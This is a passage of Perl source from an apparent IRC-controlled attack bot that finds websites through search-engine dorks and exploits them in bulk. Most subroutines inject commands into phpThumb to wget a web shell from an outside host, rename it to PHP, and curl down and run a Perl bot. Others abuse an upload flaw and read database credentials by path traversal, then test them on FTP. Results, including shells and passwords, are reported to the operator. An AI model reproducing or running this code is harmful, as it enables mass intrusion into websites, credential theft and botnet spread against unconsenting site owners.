$simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$portfoliologo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$portfoliologo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."components/com_portfolio/includes/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."components/com_portfolio/includes/phpthumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."components/com_portfolio/includes/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."components/com_portfolio/includes/phpthumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { my $nick = $simpan; &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=portfolio"; &get_content($sender); &msg("$admin","$portfoliologo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$portfoliologo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$portfoliologo $engine 12sHeLL send to 14<12=14>12$nick Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub snippets_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$snippetslogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$snippetslogo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."assets/snippets/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."assets/snippets/phpthumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."assets/snippets/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."assets/snippets/phpthumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { my $nick = $simpan; &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=snippets"; &get_content($sender); &msg("$admin","$snippetslogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$snippetslogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$snippetslogo $engine 12sHeLL send to 14<12=14>12$nick Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub hwd_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$hwdlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$hwdlogo4$engine 12Finished 3for 12$dork "); } my $bug = "/components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1"; my $victim = "http://".$site; my $galau = "http://".$site."components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php"; my $victimx = "http://".$site; $victim =~ s/http:\/\///; $victimx =~ s/http:\/\///; $victim =~ s/(.*)\/[^\/]*$/\1/; $victimx =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $victim =~ s/\/[^\/]+\/[^\/]+\z//; $victim =~ s/\/[^\/]+\z//; $victim .= '/'; my $aplod = LWP::UserAgent->new; $aplod->timeout(7); my $res = $aplod->post($galau."?jqUploader=1", ['Filedata' => ['bad.php.vob']],'Content-Type' => 'form-data'); my $hasil = $res->as_string; my ($menit,$detik,$sz,$gmt); if ($hasil =~ /Done$/) { &msg("$chan","$hwdlogo15$engine 9http://$victim "); if ($hasil =~ /close\s+Date\:\s+(.+?)\s+(.+?)\s+(.+?)\s+(.+?)\s+(\d+)\:(\d+)\:(\d+)\s+GMT/) { ($menit,$detik) = ($6,$7); } my $victime = &get_content("http://www.ip-tracker.org/locator/ip-lookup.php?ip=".$victimx); if ($victime =~ /Timezone GMT offset:<\/th>([-+])([\d]+)<\/td><\/tr>Sunrise/) { $sz = $1; $gmt = $2; } my $epoc = time(); my $hgmt = eval($epoc.$sz.$gmt); my $stime = strftime("%Y%m%d%H", gmtime($hgmt)); my $shell = "http://".$victim."tmp/".$stime.$menit.$detik."bad.php.vob"; my $shell2 = "http://".$victim."tmp/".$stime.$menit.eval($detik."-1")."bad.php.vob"; my $shell3 = "http://".$victim."tmp/".$stime.$menit.eval($detik."+1")."bad.php.vob"; my $check = &get_content($shell); my $check2 = &get_content($shell2); my $check3 = &get_content($shell3); if ($check =~ /Pagat - Shell/){ my ($safe,$os,$uid,$host,$user,$pass); if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$hwdlogo $engine 12sHeLL send to 8 Pagat Selamatt Yaaa... ^_^ 9 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$hwdlogo15(3$engine15) 3$shell 9$safe 14$os"); } if ($check2 =~ /Pagat - Shell/){ my ($safe,$os,$uid,$host,$user,$pass); if ($check2 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check2 =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check2 =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$hwdlogo $engine 12sHeLL send to 8 Pagat Selamatt Yaaa... ^_^ 9 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$hwdlogo15(3$engine15) 3$shell 9$safe 14$os"); } if ($check3 =~ /Pagat - Shell/){ my ($safe,$os,$uid,$host,$user,$pass); if ($check3 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check3 =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check3 =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$hwdlogo $engine 12sHeLL send to 8 Pagat Selamatt Yaaa... ^_^ 9 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$hwdlogo15(3$engine15) 3$shell 9$safe 14$os"); } } } } } sub Elegant_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$Elegantlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$Elegantlogo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."includes/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."includes/phpthumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."includes/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."includes/phpthumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { my $nick = $simpan; &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=Elegant"; &get_content($sender); &msg("$admin","$Elegantlogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$Elegantlogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$Elegantlogo $engine 12sHeLL send to 14<12=14>12$nick Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub wpmax_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$wpmaxlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$wpmaxlogo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."wp-content/themes/wp-max/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."wp-content/themes/wp-max/scripts/phpThumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."wp-content/themes/wp-max/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."wp-content/themes/wp-max/scripts/phpThumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { my $nick = $simpan; &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=wp-max"; &get_content($sender); &msg("$admin","$wpmaxlogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$wpmaxlogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$wpmaxlogo $engine 12sHeLL send to 14<12=14>12$nick Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub freshpage_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$freshpagelogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$freshpagelogo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."wp-content/plugins/fresh-page/thirdparty/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."wp-content/plugins/fresh-page/thirdparty/phpthumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."wp-content/plugins/fresh-page/thirdparty/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."wp-content/plugins/fresh-page/thirdparty/phpthumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { my $nick = $simpan; &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=fresh-page"; &get_content($sender); &msg("$admin","$freshpagelogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$freshpagelogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$freshpagelogo $engine 12sHeLL send to 14<12=14>12$nick Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub showbiz_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$showbizlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$showbizlogo4$engine 12Finished 3for 12$dork "); } my $target = "http://".$site.$bug; my $cekftp = $target; $cekftp =~ s/http:\/\///; $cekftp =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; my $check = &get_content($target."?page=../uploadedimages/.htaccess&delpage=yes&tmp=1"); if ($check =~ /define\('DB_USER'/) { my ($host,$user,$pass,@userz); if ($check =~ /define\('DB_HOST', '(.*)'\);/) { $host = $1; } if ($check =~ /define\('DB_USER', '(.*)'\);/) { $user = $1; } if ($check =~ /define\('DB_PASSWORD', '(.*)'\);/) { $pass = $1; } if ($host =~ /127.0.0.1/) { $host = $cekftp} if ($host =~ /localhost/i) { $host = $cekftp} if ($user =~ /_/) { @userz = split(/_/,$user); $user = $userz[0]; } my $success = 1; use Net::FTP; eval { my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5); $success = 0 if $ftp->login($user,$pass); $ftp->quit; }; if ($success == 0) { &msg("$chan","$showbizlogo12-[$engine]- 4Sent payload 7$admin"); &msg("$admin","$showbizlogo12-[$engine]- 4FTP 7http://".$host." 4[12".$user.":".$pass."4] 7Success"); } my $shell = "http://".$site."/uploadedimages/pagat.php"; my $aplod = LWP::UserAgent->new; my $res = $aplod->post($target,"uploadfile"=>"Upload"); my $hasil = $res->as_string; if ($hasil =~ /uploading shell file to/) { &msg("$chan","$showbizlogo12-[$engine]- 7Checking if shell was uploaded"); &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.txt"); my $check = &get_content($shell); if ($check =~ /GIF89a/){ my ($safe,$os,$uid); if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$showbizlogo12-[$engine]- 4sHeLL7 http://google.com/showbiz/1x.php 2$safe $os"); &msg("$admin","$showbizlogo12-[$engine]- 4sHeLL7 $shell 9$safe $os"); } } } } exit; } } sub wpremix3_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$wpremix3logo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$wpremix3logo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."wp-content/themes/wpremix3/includes/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."wp-content/themes/wpremix3/includes/phpthumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."wp-content/themes/wpremix3/includes/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."wp-content/themes/wpremix3/includes/phpthumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { my $nick = $simpan; &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=wpremix3"; &get_content($sender); &msg("$admin","$wpremix3logo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$wpremix3logo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$wpremix3logo $engine 12sHeLL send to 14<12=14>12$nick Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub rokbox_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$rokboxlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$rokboxlogo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."wp-content/themes/wpremix2/includes/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."wp-content/themes/wpremix2/includes/phpthumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."wp-content/themes/wpremix2/includes/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."wp-content/themes/wpremix2/includes/phpthumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { my $nick = $simpan; &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=wpremix2"; &get_content($sender); &msg("$admin","$rokboxlogologo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$rokboxlogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$rokboxlogo $engine 12sHeLL send to 14<12=14>12$nick Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub mk4_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$mk4logo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$mk4logo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."wp-content/themes/mk4/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."wp-content/themes/mk4/phpthumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."wp-content/themes/mk4/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."wp-content/themes/mk4/phpthumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { my $nick = $simpan; &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=mk4"; &get_content($sender); &msg("$admin","$mk4logo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$mk4logo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$mk4logo $engine 12sHeLL send to 14<12=14>12$nick Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub comfy1_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$comfy1logo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$comfy1logo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."wp-content/themes/comfy-plus/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."wp-content/themes/comfy-plus/scripts/phpThumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."wp-content/themes/comfy-plus/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."wp-content/themes/comfy-plus/scripts/phpThumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { my $nick = $simpan; &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=comfy1"; &get_content($sender); &msg("$admin","$comfy1logo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$comfy1logo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$comfy1logo $engine 12sHeLL send to 14<12=14>12$nick Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub joomleague_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$joomleaguelogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$joomleaguelogo4$engine 12Finished 3for 12$dork "); } my $agent = 